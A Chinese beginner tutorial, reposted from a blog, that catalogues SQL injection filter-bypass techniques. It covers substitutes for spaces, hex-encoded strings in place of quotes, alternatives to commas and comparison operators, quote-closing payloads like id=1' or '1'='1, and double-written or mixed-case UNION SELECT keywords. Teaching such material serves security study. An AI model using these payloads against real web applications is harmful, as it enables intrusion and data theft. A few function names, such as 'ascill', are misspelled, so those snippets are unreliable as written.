网安入门09-Sql注入(绕过方法梳理)
2024-01-07 23:10:25
ByPass
SQL注入ByPass是指攻击者通过各种手段绕过应用程序中已经实施的SQL注入防御措施,例如输入恶意数据、修改请求头等方式,绕过过滤、转义、限制等操作,从而成功地执行恶意SQL语句。攻击者使用SQL注入ByPass技术可以让应用程序的防御措施失效,使得SQL注入攻击成功。因此,防范SQL注入攻击需要采取综合的安全措施,包括正确的SQL语句编写、使用参数化查询、限制用户输入、过滤和转义特殊字符等。
绕过空格
替换 | 说明 |
---|---|
/**/ | 内联注释符 |
%a0 | URL编码 |
%09 | php里会被当作Tab键 |
%0a | php里会被当作换行键 |
() | 括号 |
+ | 加号 |
绕过 引号"
table_name=“users”
-
使用16进制编码
Hex编码/解码 - 107000 -
使用拼接字符串
例如将"username"替换
为'username'+' '
绕过 逗号,
Substr(database(),1,1)
用from,for绕过 select substr(database() from 1 for 1);
另外,如果substr被过滤,可以用mid()来代替, 还可以用right(),left()
绕过 大于号小于号><
ascill(substr(database(),0,1))>
- 用greatest(),least() 绕过(前者返回最大值,后者返回最小值)
greatest(ascill(substr(database(),0,1)),64)=64
- 或者用
between a and z
来返回a与z之间的数据不包括z
绕过注释符 # --+ – -
- %23 (#的URL编码)
- 或者通过闭合后面的引号来进行绕过
id=1' union select 1,2,'3
id=1' or '1'='1
绕过 等于号 =
- 使用大于号小于号
- like MySQL里的模糊查询
- rlike
- regexp 正则表达式
绕过 union select where 关键字
例如 sqlilabs less25
-
双写绕过 uniunionon
-
U//NION//SE/**/LECT (成功率较低)
-
大小写绕过 UniOn aNd
文章来源:https://blog.csdn.net/m0_61499194/article/details/135436677
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!